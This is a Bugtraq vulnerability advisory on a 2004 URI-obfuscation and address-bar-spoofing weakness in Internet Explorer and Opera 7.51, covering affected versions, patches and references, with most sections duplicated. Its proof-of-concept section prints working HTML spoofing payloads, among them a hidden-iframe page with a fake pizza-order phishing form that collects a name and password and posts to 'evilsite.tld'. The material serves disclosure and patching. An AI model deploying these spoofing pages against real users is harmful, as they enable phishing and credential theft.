Multiple Browser URI Obfuscation Weakness
BID:10517
Info
Multiple Browser URI Obfuscation Weakness
| Bugtraq ID: | 10517 |
| Class: | Access Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Jun 10 2004 12:00AM |
| Updated: | Jun 10 2004 12:00AM |
| Credit: | "[email protected]" <[email protected]> originally disclosed this issue to Bugtraq. bitlance writer is also credited for further research into this issue. |
| Vulnerable: |
Opera Software Opera Web Browser 7.51 Nortel Networks Symposium Web Client Nortel Networks Symposium Web Center Portal (SWCP) Nortel Networks Optivity Telephony Manager (OTM) Nortel Networks Mobile Voice Client 2050 Nortel Networks IP softphone 2050 Microsoft Internet Explorer Macintosh Edition 5.2.2 Microsoft Internet Explorer Macintosh Edition 5.1.1 Microsoft Internet Explorer Macintosh Edition 5.1 Microsoft Internet Explorer Macintosh Edition 5.0 MRJ 2.2 Microsoft Internet Explorer Macintosh Edition 5.0 MRJ 2.1.4 Microsoft Internet Explorer Macintosh Edition 5.0 Microsoft Internet Explorer 5.0.1 SP4 Microsoft Internet Explorer 5.0.1 SP3 Microsoft Internet Explorer 5.0.1 SP2 Microsoft Internet Explorer 5.0.1 SP1 Microsoft Internet Explorer 5.0.1 Microsoft Internet Explorer 6.0 SP2 - do not use Microsoft Internet Explorer 6.0 SP1 Microsoft Internet Explorer 6.0 Microsoft Internet Explorer 5.5 SP2 Microsoft Internet Explorer 5.5 SP1 Microsoft Internet Explorer 5.5 |
| Not Vulnerable: |
Opera Software Opera Web Browser 7.53 Opera Software Opera Web Browser 7.52 |
Discussion
Multiple Browser URI Obfuscation Weakness
A weakness is reported in Microsoft Internet Explorer and Opera allowing an attacker to obfuscate the URI of a link. This could facilitate the impersonation of legitimate web sites in order to steal sensitive information from unsuspecting users.
An attacker may exploit this weakness to make a user think they are visiting a legitimate site, when in reality they are being redirected to an attacker controlled site.
Update: an attacker may be able to use this issue to bypass zone restrictions in Internet Explorer.
Opera 7.51 is also affected.
A weakness is reported in Microsoft Internet Explorer and Opera allowing an attacker to obfuscate the URI of a link. This could facilitate the impersonation of legitimate web sites in order to steal sensitive information from unsuspecting users.
An attacker may exploit this weakness to make a user think they are visiting a legitimate site, when in reality they are being redirected to an attacker controlled site.
Update: an attacker may be able to use this issue to bypass zone restrictions in Internet Explorer.
Opera 7.51 is also affected.
Exploit / POC
Multiple Browser URI Obfuscation Weakness
No exploit is required, but a sample web page has been provided by the reporter. It should be noted that 'redir=' in the malicious link is not required.
!-- 10.06.04 courtesy of: bitlance [email protected] -->
<a title=" http://www.microsoft.com" href="http://www.microsoft.com">
<table>
<caption>
<a href="http://www.microsoft.com">
<label for="foo">
<u style="cursor: pointer; color: blue">
http://www.microsoft.com
</u>
</label>
</a>
<form method="get" action="http://www.microsoft.com%2F redir=www.e-gold.com">
<input id="foo" type="image" height="0" width="0">
</form>
Regular URIs are also vulnerable:
<a href="http://www.microsoft.com%2F redir=www.e-gold.com">test</a>
The following proof of concept is available for Opera:
[!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"]
[html lang="en"]
[head]
[meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"]
[meta http-equiv="Content-Script-Type" content="text/javascript"]
[meta http-equiv="Content-Style-Type" content="text/css"]
[meta http-equiv="REFRESH"
content="0;url=javascript:(function(){})();"]
[title]Opera 7.51 Address Bar Spoofing Vulnerability[/title]
[script type="text/javascript"]
[!-- hide JavaScript from old browsers
var dummy="Do not remove this script element.";
// end hiding JavaScript --]
[/script]
[style type="text/css"]
[!-- /* hide iframe element. */
iframe {
display: none !important;
}
/* hide iframe element. */ --]
[!-- /* pizza form */
body {
margin-left: 2em;
margin-right: 2em;
font-family:verdana;
font-size:80%;
}
h1 { font-size:120%;}
h2 { font-size:100%;}
table { font-size:85%; background-color:buttonface; }
table caption {
background-color:activecaption; color:captiontext;
font-weight:bold; text-align:left; }
table table { font-size:100%; }
table input { font-family:verdana; font-size:100%; }
table select { font-family:verdana; font-size:100%; }
/* pizza form */ --]
[/style]
[/head]
[body]
[h1]Opera Browser version 7.51 Address Bar Spoofing Vulnerability[/h1]
[h2]Tested on Windows OS[/h2]
[p][a href="http://www.opera.com/" title="Opera 7.51, Everything You Need
Online"]
Opera 7.51[/a], Everything You Need Online
[/p]
[iframe title="inline frame spoofing address bar"
src="https://pizza.opera.com/order.html"]
This inline frame is hidden. See CSS.
[/iframe]
[!-- below, phishing form order pizza --]
[h2]Welcome to Pizza Opera dot Com[/h2]
[form name="frmPizza" action="phishing://evilsite.tld"]
[table id="tblPizzaForm" cellspacing="0" cellpadding="3"]
[caption]Order Your Pizza[/caption]
[tr valign="top"]
[td][label for="txtName" accesskey="M"]Na[u]m[/u]e: [/label][/td]
[td][input type="text" name="txtName" id="txtName"][/td]
[/tr]
[tr valign="top"]
[td][label for="txtPassword" accesskey="P"][u]P[/u]assword: [/label][/td]
[td][input type="password" name="txtPassword" id="txtPassword"][/td]
[/tr]
[tr valign="top"]
[td][label for="selSize" accesskey="S"][u]S[/u]ize: [/label][/td]
[td]
[select name="selSize" id="selSize"]
[option value="0"]--- pick a size --- [/option]
[option value="1"]Small[/option]
[option value="2"]Medium[/option]
[option value="3"]Large[/option]
[/select]
[/td]
[/tr]
[tr valign="top"]
[td colspan="2"]
[fieldset id="fstCrust"]
[legend]Crust[/legend]
[table cellpadding="1" cellspacing="0"]
[tr]
[td][input type="radio" name="radCrust" id="radCrust_Thick"
value="Thick"][/td]
[td][label for="radCrust_Thick"
accesskey="K"]Thic[u]k[/u][/label][/td]
[td][input type="radio" name="radCrust" id="radCrust_Thin"
value="Thin"][/td]
[td][label for="radCrust_Thin" accesskey="N"]Thi[u]n[/u][/label][/td]
[/tr]
[/table]
[/fieldset]
[/td]
[/tr]
[tr valign="top"]
[td colspan="2"]
[fieldset id="fstToppings"]
[legend]Toppings[/legend]
[table cellpadding="1" cellspacing="0"]
[tr]
[td][input type="checkbox" name="chkHam" id="chkHam" value="Ham"][/td]
[td][label for="chkHam" accesskey="H"][u]H[/u]am[/label][/td]
[/tr]
[tr]
[td][input type="checkbox" name="chkPineapple" id="chkPineapple"
value="Pineapple"][/td]
[td][label for="chkPineapple"
accesskey="I"]P[u]i[/u]neapple[/label][/td]
[/tr]
[tr]
[td][input type="checkbox" name="chkExtraCheese" id="chkExtraCheese"
value="Extra Cheese"][/td]
[td][label for="chkExtraCheese" accesskey="E"][u]E[/u]xtra
Cheese[/label][/td]
[/tr]
[/table]
[/fieldset]
[/td]
[/tr]
[tr valign="top"]
[td colspan="2" align="right"][input type="submit" value=" Order!
"][/td]
[/tr]
[/table]
[/form]
[/body]
[/html]
An additional proof-of-concept was released by http-equiv that demonstrates a method of using this issue in addition to BID 9628 to install an executable on a victim system:
http://www.malware.com/wattadrag.html
No exploit is required, but a sample web page has been provided by the reporter. It should be noted that 'redir=' in the malicious link is not required.
!-- 10.06.04 courtesy of: bitlance [email protected] -->
<a title=" http://www.microsoft.com" href="http://www.microsoft.com">
<table>
<caption>
<a href="http://www.microsoft.com">
<label for="foo">
<u style="cursor: pointer; color: blue">
http://www.microsoft.com
</u>
</label>
</a>
<form method="get" action="http://www.microsoft.com%2F redir=www.e-gold.com">
<input id="foo" type="image" height="0" width="0">
</form>
Regular URIs are also vulnerable:
<a href="http://www.microsoft.com%2F redir=www.e-gold.com">test</a>
The following proof of concept is available for Opera:
[!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"]
[html lang="en"]
[head]
[meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"]
[meta http-equiv="Content-Script-Type" content="text/javascript"]
[meta http-equiv="Content-Style-Type" content="text/css"]
[meta http-equiv="REFRESH"
content="0;url=javascript:(function(){})();"]
[title]Opera 7.51 Address Bar Spoofing Vulnerability[/title]
[script type="text/javascript"]
[!-- hide JavaScript from old browsers
var dummy="Do not remove this script element.";
// end hiding JavaScript --]
[/script]
[style type="text/css"]
[!-- /* hide iframe element. */
iframe {
display: none !important;
}
/* hide iframe element. */ --]
[!-- /* pizza form */
body {
margin-left: 2em;
margin-right: 2em;
font-family:verdana;
font-size:80%;
}
h1 { font-size:120%;}
h2 { font-size:100%;}
table { font-size:85%; background-color:buttonface; }
table caption {
background-color:activecaption; color:captiontext;
font-weight:bold; text-align:left; }
table table { font-size:100%; }
table input { font-family:verdana; font-size:100%; }
table select { font-family:verdana; font-size:100%; }
/* pizza form */ --]
[/style]
[/head]
[body]
[h1]Opera Browser version 7.51 Address Bar Spoofing Vulnerability[/h1]
[h2]Tested on Windows OS[/h2]
[p][a href="http://www.opera.com/" title="Opera 7.51, Everything You Need
Online"]
Opera 7.51[/a], Everything You Need Online
[/p]
[iframe title="inline frame spoofing address bar"
src="https://pizza.opera.com/order.html"]
This inline frame is hidden. See CSS.
[/iframe]
[!-- below, phishing form order pizza --]
[h2]Welcome to Pizza Opera dot Com[/h2]
[form name="frmPizza" action="phishing://evilsite.tld"]
[table id="tblPizzaForm" cellspacing="0" cellpadding="3"]
[caption]Order Your Pizza[/caption]
[tr valign="top"]
[td][label for="txtName" accesskey="M"]Na[u]m[/u]e: [/label][/td]
[td][input type="text" name="txtName" id="txtName"][/td]
[/tr]
[tr valign="top"]
[td][label for="txtPassword" accesskey="P"][u]P[/u]assword: [/label][/td]
[td][input type="password" name="txtPassword" id="txtPassword"][/td]
[/tr]
[tr valign="top"]
[td][label for="selSize" accesskey="S"][u]S[/u]ize: [/label][/td]
[td]
[select name="selSize" id="selSize"]
[option value="0"]--- pick a size --- [/option]
[option value="1"]Small[/option]
[option value="2"]Medium[/option]
[option value="3"]Large[/option]
[/select]
[/td]
[/tr]
[tr valign="top"]
[td colspan="2"]
[fieldset id="fstCrust"]
[legend]Crust[/legend]
[table cellpadding="1" cellspacing="0"]
[tr]
[td][input type="radio" name="radCrust" id="radCrust_Thick"
value="Thick"][/td]
[td][label for="radCrust_Thick"
accesskey="K"]Thic[u]k[/u][/label][/td]
[td][input type="radio" name="radCrust" id="radCrust_Thin"
value="Thin"][/td]
[td][label for="radCrust_Thin" accesskey="N"]Thi[u]n[/u][/label][/td]
[/tr]
[/table]
[/fieldset]
[/td]
[/tr]
[tr valign="top"]
[td colspan="2"]
[fieldset id="fstToppings"]
[legend]Toppings[/legend]
[table cellpadding="1" cellspacing="0"]
[tr]
[td][input type="checkbox" name="chkHam" id="chkHam" value="Ham"][/td]
[td][label for="chkHam" accesskey="H"][u]H[/u]am[/label][/td]
[/tr]
[tr]
[td][input type="checkbox" name="chkPineapple" id="chkPineapple"
value="Pineapple"][/td]
[td][label for="chkPineapple"
accesskey="I"]P[u]i[/u]neapple[/label][/td]
[/tr]
[tr]
[td][input type="checkbox" name="chkExtraCheese" id="chkExtraCheese"
value="Extra Cheese"][/td]
[td][label for="chkExtraCheese" accesskey="E"][u]E[/u]xtra
Cheese[/label][/td]
[/tr]
[/table]
[/fieldset]
[/td]
[/tr]
[tr valign="top"]
[td colspan="2" align="right"][input type="submit" value=" Order!
"][/td]
[/tr]
[/table]
[/form]
[/body]
[/html]
An additional proof-of-concept was released by http-equiv that demonstrates a method of using this issue in addition to BID 9628 to install an executable on a victim system:
http://www.malware.com/wattadrag.html
Solution / Fix
Multiple Browser URI Obfuscation Weakness
Solution:
Opera version 7.52 and 7.53 are not vulnerable to this issue.
Gentoo has released an advisory (GLSA 200407-15) to address this and other issues in Opera. Please see the referenced advisory for more information. Gentoo users may carry out the following commands to upgrade their computers:
emerge sync
emerge -pv ">=net-www/opera-7.53"
emerge ">=net-www/opera-7.53"
Gentoo has released a second advisory GLSA 200408-05 dealing with this issue. All Opera users should upgrade to the latest stable version:
# emerge sync
# emerge -pv ">=net-www/opera-7.54"
# emerge ">=net-www/opera-7.54"
Please see the referenced Gentoo advisory for more information.
Microsoft has released a cumulative update for Internet Explorer to address this and other vulnerabilities. Updates for Internet Explorer on Microsoft Windows 98/98SE/ME may be obtained through Windows Update.
Nortel Networks has released security advisory 2005005511-2 acknowledging this issue. Please the referenced advisory for further information.
Microsoft Internet Explorer 6.0 SP1
Microsoft Internet Explorer 6.0 SP2 - do not use
Microsoft Internet Explorer 6.0
Microsoft Internet Explorer 5.0.1 SP4
Microsoft Internet Explorer 5.0.1 SP3
Opera Software Opera Web Browser 7.51
Solution:
Opera version 7.52 and 7.53 are not vulnerable to this issue.
Gentoo has released an advisory (GLSA 200407-15) to address this and other issues in Opera. Please see the referenced advisory for more information. Gentoo users may carry out the following commands to upgrade their computers:
emerge sync
emerge -pv ">=net-www/opera-7.53"
emerge ">=net-www/opera-7.53"
Gentoo has released a second advisory GLSA 200408-05 dealing with this issue. All Opera users should upgrade to the latest stable version:
# emerge sync
# emerge -pv ">=net-www/opera-7.54"
# emerge ">=net-www/opera-7.54"
Please see the referenced Gentoo advisory for more information.
Microsoft has released a cumulative update for Internet Explorer to address this and other vulnerabilities. Updates for Internet Explorer on Microsoft Windows 98/98SE/ME may be obtained through Windows Update.
Nortel Networks has released security advisory 2005005511-2 acknowledging this issue. Please the referenced advisory for further information.
Microsoft Internet Explorer 6.0 SP1
-
Microsoft Cumulative Security Update for Internet Explorer 6 Service Pack 1 for Windows XP/2000 (KB867282)
http://www.microsoft.com/downloads/details.aspx?FamilyId=E473CD05-3320 -4322-B437-F3A61E62F567 -
Microsoft Cumulative Security Update for Internet Explorer 6 SP1 64-bit Edition (KB867282)
http://www.microsoft.com/downloads/details.aspx?FamilyId=7EAE62C0-3DA0 -4BAC-B2FE-ECE89959053D
Microsoft Internet Explorer 6.0 SP2 - do not use
-
Microsoft Cumulative Security Update for Internet Explorer for XP Service Pack 2 (KB867282)
http://www.microsoft.com/downloads/details.aspx?FamilyId=82056EAB-8367 -4B04-A11A-1002D14EB55B
Microsoft Internet Explorer 6.0
-
Microsoft Cumulative Security Update for Internet Explorer for Windows Server 2003 (KB867282)
http://www.microsoft.com/downloads/details.aspx?FamilyId=4DC0FE8A-9D03 -4AB8-8EAF-C85FF25CB1A2 -
Microsoft Cumulative Security Update for Internet Explorer for Windows Server 2003 64-bit Edition (KB867282)
http://www.microsoft.com/downloads/details.aspx?familyid=E3C4DA1F-6FA2 -4A2B-A6D9-24B599C353B3&displaylang=en
Microsoft Internet Explorer 5.0.1 SP4
-
Microsoft Cumulative Security Update for Internet Explorer 5.01 for Windows 2000 Service Pack 4 (KB867282)
http://www.microsoft.com/downloads/details.aspx?FamilyId=4C2CBB4B-2F00 -4CD6-BB98-AD14A48B53C0
Microsoft Internet Explorer 5.0.1 SP3
-
Microsoft Cumulative Security Update for Internet Explorer 5.01 for Windows 2000 Service Pack 3 (KB867282)
http://www.microsoft.com/downloads/details.aspx?FamilyId=34F5BCDE-4EE2 -4EFD-BB60-F5A6BC5F56D1
Opera Software Opera Web Browser 7.51
-
Opera Software Opera 7.53
http://www.opera.com/download/
References
Multiple Browser URI Obfuscation Weakness
References:
References:
- Microsoft Security Bulletin MS05-014 (Microsoft)
- Opera 7.52 change log (Opera Software)
- Security Advisory Bulletins (Nortel Networks)
- COELACANTH: After Math ("[email protected]" <[email protected]>)
- COELACANTH: Phreak Phishing Expedition ("[email protected]" <[email protected]>)
- FOUND: COELACANTH: Phreak Phishing Expedition ("[email protected]" <[email protected]>)
- MAGIC XSS INTO THE DNS: coelacanth ("[email protected]" <[email protected]>)
- Notes: COELACANTH: Phreak Phishing Expedition ("[email protected]" <[email protected]>)
- RE: COELACANTH: Phreak Phishing Expedition] ("Thor Larholm"
- SECURE SOCKETS LAYER COELACANTH: Phreak Phishing Expedition ("[email protected]" <[email protected]>)
- What A Drag ("[email protected]" <[email protected]>)